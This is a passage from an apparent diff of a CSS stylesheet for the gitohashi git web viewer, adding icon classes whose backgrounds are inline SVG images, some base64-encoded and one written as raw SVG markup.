		<g transform="rotate(-.080507 43638 -42193)" stroke-width=".13209" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal" aria-label="gitohashi">
			<g stroke-width=".13209">
				<path d="m14.309 121.8v0.0805l-0.06863 0.0155q0.02012 0.0361 0.02012 0.0908 0 0.0913-0.04953 0.14293-0.04953 0.0516-0.13828 0.0516-0.0258 0-0.03818-4e-3 -0.0098 9e-3 -0.01858 0.0196-0.0088 0.0108-0.0088 0.0268 0 0.0361 0.06243 0.0361h0.08307q0.07327 0 0.11248 0.0397 0.03973 0.0392 0.03973 0.11868 0 0.1001-0.06708 0.15479-0.06708 0.0547-0.19297 0.0547-0.09545 0-0.14705-0.0418-0.0516-0.0413-0.0516-0.11816 0-0.048 0.02941-0.0846 0.02941-0.0361 0.08152-0.0526-0.02631-0.0103-0.04334-0.032-0.01651-0.0217-0.01651-0.0506 0-0.0175 0.0052-0.0315 0.0052-0.0144 0.01445-0.0268 0.0098-0.0129 0.03921-0.0377-0.0356-0.0217-0.05624-0.0666t-0.02064-0.0996q0-0.0944 0.04953-0.14602 0.04953-0.0516 0.14189-0.0516 0.01754 0 0.04025 4e-3 0.0227 4e-3 0.03457 8e-3zm-0.33796 0.65735q0 0.0341 0.02116 0.0521 0.02167 0.0186 0.0614 0.0186 0.06243 0 0.09339-0.0237 0.03147-0.0237 0.03147-0.065 0-0.0325-0.01703-0.0459-0.01651-0.0134-0.06243-0.0134h-0.06656q-0.02786 0-0.04489 0.0206-0.01651 0.0212-0.01651 0.0568zm0.04231-0.47057q0 0.10165 0.05727 0.10165 0.05573 0 0.05573-0.10268 0-0.10526-0.05573-0.10526-0.05727 0-0.05727 0.10629z"/>
				<path d="m14.517 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05572-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05315 0.0191-0.03405 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z"/>
				<path d="m14.834 122.26q0.02889 0 0.06243-0.0145v0.10732q-0.03354 0.0232-0.10062 0.0232-0.07482 0-0.11094-0.0444-0.03612-0.0449-0.03612-0.13415v-0.29772h-0.05573v-0.0614l0.07172-0.0495 0.03509-0.12177h0.08772v0.12384h0.10423v0.10887h-0.10423v0.30236q0 0.0578 0.04644 0.0578z"/>
			</g>
			<g fill="#800000">
				<path d="m15.403 122.08q0 0.14138-0.05985 0.22032-0.05985 0.0784-0.16408 0.0784-0.06604 0-0.11661-0.0361-0.05057-0.0361-0.07791-0.10371-0.02735-0.0681-0.02735-0.15892 0-0.13983 0.05934-0.21825 0.05934-0.0789 0.1646-0.0789 0.10165 0 0.1615 0.0805 0.06037 0.08 0.06037 0.21671zm-0.30546 0q0 0.0898 0.01961 0.1357t0.06295 0.0459q0.08256 0 0.08256-0.18163 0-0.0903-0.02012-0.13467-0.01961-0.0449-0.06243-0.0449-0.04334 0-0.06295 0.0449-0.01961 0.0444-0.01961 0.13467z"/>
				<path d="m15.786 122.37v-0.3426q0-0.12642-0.06346-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07895 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z"/>
				<path d="m16.318 122.37-0.02735-0.0784h-0.0031q-0.03044 0.0506-0.06295 0.0697t-0.08204 0.0191q-0.06347 0-0.1001-0.0475-0.03612-0.0475-0.03612-0.13209 0-0.0908 0.04953-0.13467 0.05005-0.0444 0.14912-0.049l0.07636-3e-3v-0.0413q0-0.0805-0.06966-0.0805-0.0516 0-0.11867 0.0403l-0.04747-0.0949q0.08565-0.0542 0.18627-0.0542 0.09133 0 0.1388 0.0526 0.04799 0.0521 0.04799 0.14808v0.38595zm-0.11919-0.097q0.03767 0 0.05985-0.0335 0.0227-0.0341 0.0227-0.0903v-0.0485l-0.04231 2e-3q-0.04695 3e-3 -0.06914 0.0268-0.02167 0.0242-0.02167 0.0722 0 0.0712 0.05057 0.0712z"/>
				<path d="m16.838 122.2q0 0.0841-0.04953 0.13157-0.04902 0.047-0.14499 0.047-0.08514 0-0.14086-0.0335v-0.11919q0.02838 0.0196 0.06604 0.0325 0.03818 0.0129 0.06708 0.0129 0.03199 0 0.0485-0.0155 0.01703-0.016 0.01703-0.0418 0-0.0263-0.01754-0.0459t-0.0645-0.048q-0.06243-0.0371-0.08978-0.0789-0.02683-0.0423-0.02683-0.0996 0-0.0733 0.05005-0.11609 0.05057-0.0428 0.13828-0.0428 0.07636 0 0.14396 0.0403l-0.04489 0.0986q-0.05521-0.0299-0.097-0.0299-0.02631 0-0.03973 0.0139-0.0129 0.0139-0.0129 0.0341 0 0.0232 0.016 0.0413 0.01651 0.0181 0.06089 0.0449 0.05366 0.0325 0.07533 0.0552t0.03354 0.0516 0.01187 0.0676z"/>
				<path d="m17.212 122.37v-0.3426q0-0.12642-0.06347-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07894 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z"/>
				<path d="m17.6 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05573-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05314 0.0191-0.03406 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z"/>
			</g>
		</g>
	</g>
</svg>");
+        width:0px;
+        height:0px;
+        padding:1.3em 5em 1.3em 5em;
+        vertical-align:middle;
+	margin-right: 0.3em;
+        background-repeat: no-repeat;
+        color: rgba(0, 0, 0, 0) !important;
+}
+
+img.stats {
+        display: inline-block;
+        background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAzMi45NTY4NTYgNDIuMzY2MDc3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgoJPGRlZnM+CgkJPGZpbHRlciBpZD0iYSIgeD0iLS4wODYzOTIiIHk9Ii0uMDcxMDk0IiB3aWR0aD0iMS4xNzI4IiBoZWlnaHQ9IjEuMTQyMiIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC4xODgxMDIyIi8+CgkJPC9maWx0ZXI+CgkJPGZpbHRlciBpZD0iYiIgeD0iLS4wMTMwNTgiIHk9Ii0uMDEzMzQ1IiB3aWR0aD0iMS4wMjYxIiBoZWlnaHQ9IjEuMDI2NyIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC4wMzQ2OTU4MzQiLz4KCQk8L2ZpbHRlcj4KCQk8ZmlsdGVyIGlkPSJjIiB4PSItLjAzODc2OCIgeT0iLS4wMjk2NDgiIHdpZHRoPSIxLjA3NzUiIGhlaWdodD0iMS4wNTkzIiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgoJCQk8ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPSIwLjUwNTM5MjI2Ii8+CgkJPC9maWx0ZXI+Cgk8L2RlZnM+Cgk8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtNDguMTU2IC04OS4zNjcpIj4KCQk8cGF0aCB0cmFuc2Zvcm09Im1hdHJpeCguOTc3NTggMCAwIC45Nzc1OCAxLjA3OTggMi4wMDM5KSIgZD0ibTQ5LjUzMyAxMzEuNDloMzEuMTIzdi0zNS4zNmwtNS4xMjIyLTUuNTE5MS0yNi4xNjUtMC4wMzMxYzAuMDc4NTcgMTMuNjM2IDAuMTY0MzkgMjcuMjc1IDAuMTY0MzkgNDAuOTEyeiIgZmlsdGVyPSJ1cmwoI2MpIi8+CgkJPHBhdGggZD0ibTQ5LjA1NSAxMzAuMmgzMC40MjV2LTM0LjU2N2wtNS4wMDc0LTUuMzk1NC0yNS41NzgtMC4wMzIzNmMwLjA3NjgxIDEzLjMzIDAuMTYwNyAyNi42NjMgMC4xNjA3IDM5Ljk5NXoiIGZpbGw9IiNmMmYyZjIiLz4KCQk8ZyBmaWxsPSIjOTk5IiBzdHJva2U9IiNiM2IzYjMiIHN0cm9rZS13aWR0aD0iLjI1ODY1cHgiPgoJCQk8cGF0aCBkPSJtNTIuMDE5IDkzLjgwMmgyMy41MjQiLz4KCQkJPHBhdGggZD0ibTUxLjk3NiA5Ni44ODVoMjQuODUiLz4KCQkJPHBhdGggZD0ibTUyLjAyMiA5OS45MDJoMjQuODUiLz4KCQkJPHBhdGggZD0ibTUyLjAyMiAxMDMuMDZoMjQuODUiLz4KCQkJPHBhdGggZD0ibTUyLjExNCAxMDYuMzVoMjQuODUiLz4KCQkJPHBhdGggZD0ibTUyLjA2OCAxMDkuNzNoMjQuODUiLz4KCQkJPHBhdGggZD0ibTUxLjk1IDExMy4xNGgyNC44NSIvPgoJCQk8cGF0aCBkPSJtNTIuMDE1IDExNi41NmgyNC44NSIvPgoJCQk8cGF0aCBkPSJtNTEuOTY3IDExOS45M2gyNC44NSIvPgoJCTwvZz4KCQk8cGF0aCB0cmFuc2Zvcm09Im1hdHJpeCguOTc3NTggMCAwIC45Nzc1OCAxLjA3OTggMi4wMDM5KSIgZD0ibTYzLjgxMyAxMTAuOTktNS43NTk4IDYuMjM5OCA2LjM3NjktNS43MjU1eiIgZmlsdGVyPSJ1cmwoI2IpIi8+CgkJPHBhdGggZD0ibTcyLjQ5OCAxMTMuNDgtOC41MjE4LTMuMjM4OGwxLjkxNiA5LjA3MjIgMS4wMjYxLTAuMjQ2OTEgMC45MDkzNi0wLjQyNjMgMC45MTM3NC0wLjQ4ODIgMS4yMjYzLTAuODY1NzUgMS4zNjQ1LTEuNTk0NSAwLjcxODI0LTEuMTgwMXoiIGZpbGw9IiNlNmU2ZTYiLz4KCQk8cGF0aCBkPSJtNjMuNjc4IDEwMS44MyAwLjQ4NjY0IDguNjc4NGw3LjE1NzItNS4xODk0LTAuNjEzMi0wLjc5NzgtMC43MjQxNS0wLjYyNjUzLTAuNzc5NzgtMC42MDYyOS0xLjIyOTktMC43MzE5Ni0xLjkxODItMC41Njk1NS0xLjMwNjUtMC4xNjc1eiIgZmlsbD0iIzMzMyIvPgoJCTxwYXRoIGQ9Im03MS4yMTIgMTA1LjIzLTcuMTc2NCA1LjI4M2w4LjQ2NyAzLjIzNDEgMC4zNDEwMi0wLjk3MzYzIDAuMTMxNzctMC45NzI4MyAwLjA4MzI2LTEuMDA5Mi0wLjA2MTIyLTEuNDY2LTAuNTg2NS0xLjk2NTgtMC41ODg2OC0xLjIxNTR6IiBmaWxsPSIjOTk5Ii8+CgkJPHBhdGggZD0ibTY0LjQzOCAxMDEuNDcgMC4wNDQwNSA4Ljg3MDIgMS42MzMzIDkuNDkzNS0xLjk0MDUgMC4wNDQxLTQuNTEyNi0wLjc4MzE4LTIuODg1My0yLjk0NjktMS45ODIxLTQuMTYzMyAwLjU4MjI2LTQuNjMwOSAyLjM0MDUtMy4zMDQ3IDIuODA3NS0xLjkwNjF6IiBmaWxsPSIjZjJmMmYyIi8+CgkJPHBhdGggZD0ibTYzLjYzNSAxMDFhOS43NjQxIDkuNzY0MSAwIDAgMCAtOS4yMDIxIDEwLjI5NSA5Ljc2NDEgOS43NjQxIDAgMCAwIDEwLjI5NSA5LjIwMjEgOS43NjQxIDkuNzY0MSAwIDAgMCA5LjIwMjEgLTEwLjI5NSA5Ljc2NDEgOS43NjQxIDAgMCAwIC0xMC4yOTUgLTkuMjAyMXptMC4wNTI3MiAwLjk0MDE5YTguNzI3NiA4LjcyNzYgMCAwIDEgOS4yMDI1IDguMjI1MyA4LjcyNzYgOC43Mjc2IDAgMCAxIC04LjIyNTMgOS4yMDI1IDguNzI3NiA4LjcyNzYgMCAwIDEgLTkuMjAyNSAtOC4yMjUzIDguNzI3NiA4LjcyNzYgMCAwIDEgOC4yMjUzIC05LjIwMjV6IiBmaWxsPSIjY2NjIiBzdHJva2U9IiM4MDgwODAiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIHN0cm9rZS13aWR0aD0iLjIxNjA0Ii8+CgkJPHBhdGggZD0ibTYzLjgwOCAxMTAuMjQtMy4yNDA2IDcuNjQyNyAzLjk3ODItNy4zNzMyeiIvPgoJCTxjaXJjbGUgY3g9IjY0LjIwNiIgY3k9IjExMC4zMiIgcj0iMS4wMzkiLz4KCQk8Y2lyY2xlIGN4PSI2NC4xODEiIGN5PSIxMTAuMzMiIHI9Ii43MTIyMSIgZmlsbD0iIzgwODA4MCIvPgoJCTxwYXRoIHRyYW5zZm9ybT0ibWF0cml4KC45Nzc1OCAwIDAgLjk3NzU4IDEuMDc5OCAyLjAwMzkpIiBkPSJtNzQuOTY3IDkwLjM5OCAxLjEyNDUgNi4zNSA0LjEwMS0wLjY2MTQ2eiIgZmlsbD0iIzY2NiIgZmlsdGVyPSJ1cmwoI2EpIi8+CgkJPHBhdGggZD0ibTc0LjQ2MyA5MC4xODEgMS4wOTkzIDYuMjA3NiA0LjAwOTEtMC42NDY2M3oiIGZpbGw9IiNjY2MiLz4KCQk8cGF0aCBkPSJtNTEuOTIyIDEyMy4zMWgyNC44NSIgZmlsbD0iIzk5OSIgc3Ryb2tlPSIjYjNiM2IzIiBzdHJva2Utd2lkdGg9Ii4yNTg2NXB4Ii8+CgkJPHBhdGggZD0ibTUxLjgwNCAxMjYuNzFoMjQuODUiIGZpbGw9IiM5OTkiIHN0cm9rZT0iI2IzYjNiMyIgc3Ryb2tlLXdpZHRoPSIuMjU4NjVweCIvPgoJPC9nPgo8L3N2Zz4=");
+        width:0px;
+        height:0px;
+        padding:2em 1.5em 2em 1.5em;
+        vertical-align:middle;
+	margin-right: 0.6em;
+        background-repeat: no-repeat;
+        color: rgba(0, 0, 0, 0) !important;
+}
+
+img.cache {
+	display: inline-block;
+        background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAxMy41ODI0NTggMTUuOTQyNjU2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KCTxkZWZzPgoJCTxmaWx0ZXIgaWQ9ImIiIHg9Ii0uMDg2MzkyIiB5PSItLjA3MTA5NCIgd2lkdGg9IjEuMTcyOCIgaGVpZ2h0PSIxLjE0MjIiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjAuMTg4MTAyMiIvPgoJCTwvZmlsdGVyPgoJCTxmaWx0ZXIgaWQ9ImMiIHg9Ii0uMDEzMDU4IiB5PSItLjAxMzM0NSIgd2lkdGg9IjEuMDI2MSIgaGVpZ2h0PSIxLjAyNjciIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CgkJCTxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjAuMDM0Njk1ODM0Ii8+CgkJPC9maWx0ZXI+CgkJPGZpbHRlciBpZD0iZCIgeD0iLS4wMzg3NjgiIHk9Ii0uMDI5NjQ4IiB3aWR0aD0iMS4wNzc1IiBoZWlnaHQ9IjEuMDU5MyIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC41MDUzOTIyNiIvPgoJCTwvZmlsdGVyPgoJCTxyYWRpYWxHcmFkaWVudCBpZD0iYSIgY3g9IjM2LjU2OCIgY3k9IjI4Ni43NSIgcj0iMS44OTQzIiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KC40MDQwNiAuMTM5MDMgLS41NTg0IDEuNjIyOSAxNTIuNTggLTE4OC4xNykiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIj4KCQkJPHN0b3Agc3RvcC1jb2xvcj0iI2ZmZiIgb2Zmc2V0PSIwIi8+CgkJCTxzdG9wIHN0b3AtY29sb3I9IiNmZmYiIHN0b3Atb3BhY2l0eT0iMCIgb2Zmc2V0PSIxIi8+CgkJPC9yYWRpYWxHcmFkaWVudD4KCTwvZGVmcz4KCTxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKC00LjQzNDEgLTI3My45MykiPgoJCTxwYXRoIHRyYW5zZm9ybT0ibWF0cml4KC45Nzc1OCAwIDAgLjk3NzU4IDEuMDc5OCAyLjAwMzkpIiBkPSJtNDkuNTMzIDEzMS40OWgzMS4xMjN2LTM1LjM2bC01LjEyMjItNS41MTkxLTI2LjE2NS0wLjAzMzFjMC4wNzg1NyAxMy42MzYgMC4xNjQzOSAyNy4yNzUgMC4xNjQzOSA0MC45MTJ6IiBmaWx0ZXI9InVybCgjZCkiLz4KCQk8cGF0aCBkPSJtNDkuMDU1IDEzMC4yaDMwLjQyNXYtMzQuNTY3bC01LjAwNzQtNS4zOTU0LTI1LjU3OC0wLjAzMjM2YzAuMDc2ODEgMTMuMzMgMC4xNjA3IDI2LjY2MyAwLjE2MDcgMzkuOTk1eiIgZmlsbD0iI2YyZjJmMiIvPgoJCTxnIGZpbGw9IiM5OTkiIHN0cm9rZT0iI2IzYjNiMyIgc3Ryb2tlLXdpZHRoPSIuMjU4NjVweCI+CgkJCTxwYXRoIGQ9Im01Mi4wMTkgOTMuODAyaDIzLjUyNCIvPgoJCQk8cGF0aCBkPSJtNTEuOTc2IDk2Ljg4NWgyNC44NSIvPgoJCQk8cGF0aCBkPSJtNTIuMDIyIDk5LjkwMmgyNC44NSIvPgoJCQk8cGF0aCBkPSJtNTIuMDIyIDEwMy4wNmgyNC44NSIvPgoJCQk8cGF0aCBkPSJtNTIuMTE0IDEwNi4zNWgyNC44NSIvPgoJCQk8cGF0aCBkPSJtNTIuMDY4IDEwOS43M2gyNC44NSIvPgoJCQk8cGF0aCBkPSJtNTEuOTUgMTEzLjE0aDI0Ljg1Ii8+CgkJCTxwYXRoIGQ9Im01Mi4wMTUgMTE2LjU2aDI0Ljg1Ii8+CgkJCTxwYXRoIGQ9Im01MS45NjcgMTE5LjkzaDI0Ljg1Ii8+CgkJPC9nPgoJCTxwYXRoIHRyYW5zZm9ybT0ibWF0cml4KC45Nzc1OCAwIDAgLjk3NzU4IDEuMDc5OCAyLjAwMzkpIiBkPSJtNjMuODEzIDExMC45OS01Ljc1OTggNi4yMzk4IDYuMzc2OS01LjcyNTV6IiBmaWx0ZXI9InVybCgjYykiLz4KCQk8cGF0aCBkPSJtNzIuNDk4IDExMy40OC04LjUyMTgtMy4yMzg4bDEuOTE2IDkuMDcyMiAxLjAyNjEtMC4yNDY5MSAwLjkwOTM2LTAuNDI2MyAwLjkxMzc0LTAuNDg4MiAxLjIyNjMtMC44NjU3NSAxLjM2NDUtMS41OTQ1IDAuNzE4MjQtMS4xODAxeiIgZmlsbD0iI2U2ZTZlNiIvPgoJCTxwYXRoIGQ9Im02My42NzggMTAxLjgzIDAuNDg2NjQgOC42Nzg0bDcuMTU3Mi01LjE4OTQtMC42MTMyLTAuNzk3OC0wLjcyNDE1LTAuNjI2NTMtMC43Nzk3OC0wLjYwNjI5LTEuMjI5OS0wLjczMTk2LTEuOTE4Mi0wLjU2OTU1LTEuMzA2NS0wLjE2NzV6IiBmaWxsPSIjMzMzIi8+CgkJPHBhdGggZD0ibTcxLjIxMiAxMDUuMjMtNy4xNzY0IDUuMjgzbDguNDY3IDMuMjM0MSAwLjM0MTAyLTAuOTczNjMgMC4xMzE3Ny0wLjk3MjgzIDAuMDgzMjYtMS4wMDkyLTAuMDYxMjItMS40NjYtMC41ODY1LTEuOTY1OC0wLjU4ODY4LTEuMjE1NHoiIGZpbGw9IiM5OTkiLz4KCQk8cGF0aCBkPSJtNjQuNDM4IDEwMS40NyAwLjA0NDA1IDguODcwMiAxLjYzMzMgOS40OTM1LTEuOTQwNSAwLjA0NDEtNC41MTI2LTAuNzgzMTgtMi44ODUzLTIuOTQ2OS0xLjk4MjEtNC4xNjMzIDAuNTgyMjYtNC42MzA5IDIuMzQwNS0zLjMwNDcgMi44MDc1LTEuOTA2MXoiIGZpbGw9IiNmMmYyZjIiLz4KCQk8cGF0aCBkPSJtNjMuNjM1IDEwMWE5Ljc2NDEgOS43NjQxIDAgMCAwIC05LjIwMjEgMTAuMjk1IDkuNzY0MSA5Ljc2NDEgMCAwIDAgMTAuMjk1IDkuMjAyMSA5Ljc2NDEgOS43NjQxIDAgMCAwIDkuMjAyMSAtMTAuMjk1IDkuNzY0MSA5Ljc2NDEgMCAwIDAgLTEwLjI5NSAtOS4yMDIxem0wLjA1MjcyIDAuOTQwMTlhOC43Mjc2IDguNzI3NiAwIDAgMSA5LjIwMjUgOC4yMjUzIDguNzI3NiA4LjcyNzYgMCAwIDEgLTguMjI1MyA5LjIwMjUgOC43Mjc2IDguNzI3NiAwIDAgMSAtOS4yMDI1IC04LjIyNTMgOC43Mjc2IDguNzI3NiAwIDAgMSA4LjIyNTMgLTkuMjAyNXoiIGZpbGw9IiNjY2MiIHN0cm9rZT0iIzgwODA4MCIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCIgc3Ryb2tlLXdpZHRoPSIuMjE2MDQiLz4KCQk8cGF0aCBkPSJtNjMuODA4IDExMC4yNC0zLjI0MDYgNy42NDI3IDMuOTc4Mi03LjM3MzJ6Ii8+CgkJPGNpcmNsZSBjeD0iNjQuMjA2IiBjeT0iMTEwLjMyIiByPSIxLjAzOSIvPgoJCTxjaXJjbGUgY3g9IjY0LjE4MSIgY3k9IjExMC4zMyIgcj0iLjcxMjIxIiBmaWxsPSIjODA4MDgwIi8+CgkJPHBhdGggdHJhbnNmb3JtPSJtYXRyaXgoLjk3NzU4IDAgMCAuOTc3NTggMS4wNzk4IDIuMDAzOSkiIGQ9Im03NC45NjcgOTAuMzk4IDEuMTI0NSA2LjM1IDQuMTAxLTAuNjYxNDZ6IiBmaWxsPSIjNjY2IiBmaWx0ZXI9InVybCgjYikiLz4KCQk8cGF0aCBkPSJtNzQuNDYzIDkwLjE4MSAxLjA5OTMgNi4yMDc2IDQuMDA5MS0wLjY0NjYzeiIgZmlsbD0iI2NjYyIvPgoJCTxnIGZpbGw9IiM5OTkiPgoJCQk8cGF0aCBkPSJtNTEuOTIyIDEyMy4zMWgyNC44NSIgc3Ryb2tlPSIjYjNiM2IzIiBzdHJva2Utd2lkdGg9Ii4yNTg2NXB4Ii8+CgkJCTxwYXRoIGQ9Im01MS44MDQgMTI2LjcxaDI0Ljg1IiBzdHJva2U9IiNiM2IzYjMiIHN0cm9rZS13aWR0aD0iLjI1ODY1cHgiLz4KCQkJPHBhdGggZD0ibTE0LjgxIDI3Ny40NSAwLjc3NDE3LTAuOTQ5ODggMC44NzQ5MSAwLjYxMzQtMC41Njg3NyAxLjA3NzYtMC41Mjc1OC0wLjQ0NjU3eiIgZmlsbC1vcGFjaXR5PSIuOTc5MzQiLz4KCQkJPHBhdGggZD0ibTEwLjA5MiAyNzYuNDggMC4wOTM1NC0xLjY2MDQgMS40NDk5LTAuMDIzMyAwLjIzMzg2IDEuNjM3LTAuOTM1NDQtMC4wNzAxeiIgZmlsbC1vcGFjaXR5PSIuOTc5MzQiLz4KCQk8L2c+CgkJPGc+CgkJCTxjaXJjbGUgY3g9IjExLjIyNSIgY3k9IjI4My4wOCIgcj0iNi42ODA3IiBmaWxsPSIjYjNiM2IzIiBmaWxsLW9wYWNpdHk9Ii45MjE0OSIgc3Ryb2tlPSIjODA4MDgwIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiBzdHJva2Utd2lkdGg9Ii4yMjEiLz4KCQkJPGNpcmNsZSBjeD0iMTEuMjI1IiBjeT0iMjgzLjA4IiByPSI1LjM0NiIgZmlsbD0iI2U2ZTZlNiIgc3Ryb2tlPSIjODA4MDgwIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiBzdHJva2Utd2lkdGg9Ii4yNDQ2OCIvPgoJCQk8cGF0aCBkPSJtMTEuMDI3IDI3Ny44NXYyLjQ0NzQiIGZpbGw9Im5vbmUiIHN0cm9rZT0iIzRkNGQ0ZCIgc3Ryb2tlLXdpZHRoPSIuMjY0NThweCIvPgoJCTwvZz4KCQk8ZyBmaWxsPSIjOTk5Ij4KCQkJPGNpcmNsZSBjeD0iMTEuMDI3IiBjeT0iMjgzLjI4IiByPSIuNDMxMzYiIHN0cm9rZT0iIzgwODA4MCIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCIgc3Ryb2tlLXdpZHRoPSIuMDE5NzQzIi8+CgkJCTxwYXRoIGQ9Im0xMC45MjkgMjgyLjk0IDMuNjAzMy0yLjgzMjktMy4yNDExIDMuNDM5NnoiIGZpbGwtb3BhY2l0eT0iLjk3OTM0Ii8+CgkJCTxwYXRoIGQ9Im05LjU5NjYgMjc1LjAzLTAuNDQwNTYtMC42ODgzOCAwLjQxMzAzLTAuNDEzIDIuNjQzNC01ZS01IDAuMzU3OTYgMC4zODU1LTAuNDEzMDMgMC42ODgzOHoiIGZpbGwtb3BhY2l0eT0iLjk3OTM0Ii8+CgkJPC9nPgoJCTxwYXRoIGQ9Im0xMC4yMDggMjc4LjMtMS42ODM4IDAuODg4NjgtMS41NDM1IDEuNjgzOC0wLjU2MTI3IDEuNjgzOCAwLjE0MDMyIDEuNTQzNSAwLjU2MTI2IDEuODI0MSAxLjA3NTggMC45ODIyMiAwLjg4ODY3IDAuNDY3NzMtMC4yODA2My0wLjYwODA0LTAuOTM1NDQtMi4zMzg2IDAuMjMzODYtMi41MjU3IDEuMjE2MS0yLjI0NTF6IiBmaWxsPSJ1cmwoI2EpIi8+CgkJPHBhdGggZD0ibTEwLjE1IDI3NS41NyAwLjM5Njg4LTAuMjk3NjYgMC40MTM0MS0wLjE5ODQzIDAuNDk2MDktMC4wMzMxIDAuMjMxNTEtMC4wMzMxLTEuNTIxNCAwLjAxNjR6IiBmaWxsPSIjODA4MDgwIiBmaWxsLW9wYWNpdHk9Ii45NDYyOCIvPgoJCTxwYXRoIGQ9Im05LjE0MTcgMjc0LjM4YzAuMjE0OTcgMCAzLjM5LTAuMDQ5NiAzLjM5LTAuMDQ5NmwtMC4zOTY4OCAwLjY5NDUzLTAuMjk3NjYtMC4zOTY4OC0wLjcxMTA3LTAuMTY1MzYtMC44OTI5Ny0wLjAzMzEtMC42OTQ1MyAwLjA5OTItMC4xODE5IDAuMTY1Mzd6IiBmaWxsPSIjODA4MDgwIiBmaWxsLW9wYWNpdHk9Ii45NDYyOCIvPgoJPC9nPgo8L3N2Zz4=");
+        width:0px;
+        height:0px;
+        padding:0.8em 0.7em 0.8em 0.7em;
+        vertical-align:middle;
+	margin-right: 0.5em;
+        background-repeat: no-repeat;
+        color: rgba(0, 0, 0, 0) !important;
+}
+
+
+img.tree {
+	display: inline-block;
+        background: url("data:image/svg+xml;base64,<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.1" viewBox="0 0 81.961533 79.052307" xmlns="http://www.w3.org/2000/svg">
	<defs>
		<filter id="e" x="-.21324" y="-.20454" width="1.4265" height="1.4091" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="0.14649125"/>
		</filter>
		<filter id="f" x="-.33694" y="-.21061" width="1.6739" height="1.4212" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="0.14775809"/>
		</filter>
		<filter id="a" x="-.032422" y="-.034867" width="1.0648" height="1.0697" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="0.4144952"/>
		</filter>
		<filter id="d" x="-.1067" y="-.079632" width="1.2134" height="1.1593" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="2.0768046"/>
		</filter>
		<filter id="c" x="-.042171" y="-.039515" width="1.0843" height="1.079" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="1.1064876"/>
		</filter>
		<filter id="b" x="-.062442" y="-.064802" width="1.1249" height="1.1296" color-interpolation-filters="sRGB">
			<feGaussianBlur stdDeviation="1.8895879"/>
		</filter>
	</defs>
	<g transform="translate(26.618 -49.587)">
		<path d="m1.4641 123.31-17.859-3.3073-5.424-6.4823 2.5135-9.3927 7.276-11.112 11.906-8.7313 8.0698-6.8792-1.1906-7.0115-4.3656-6.2177-6.6146-7.4083-1.7198-2.6458 6.35 1.7198 10.451 0.66146 5.1594 0.79375 4.4979 3.0427 6.7469 7.0115 5.9531 9.2604 1.8521 11.245 5.6885 7.9375 5.5562 4.2333 3.8365 5.8208 0.66145 10.186-7.8052 8.0698z" fill="#d7eef4" filter="url(#b)"/>
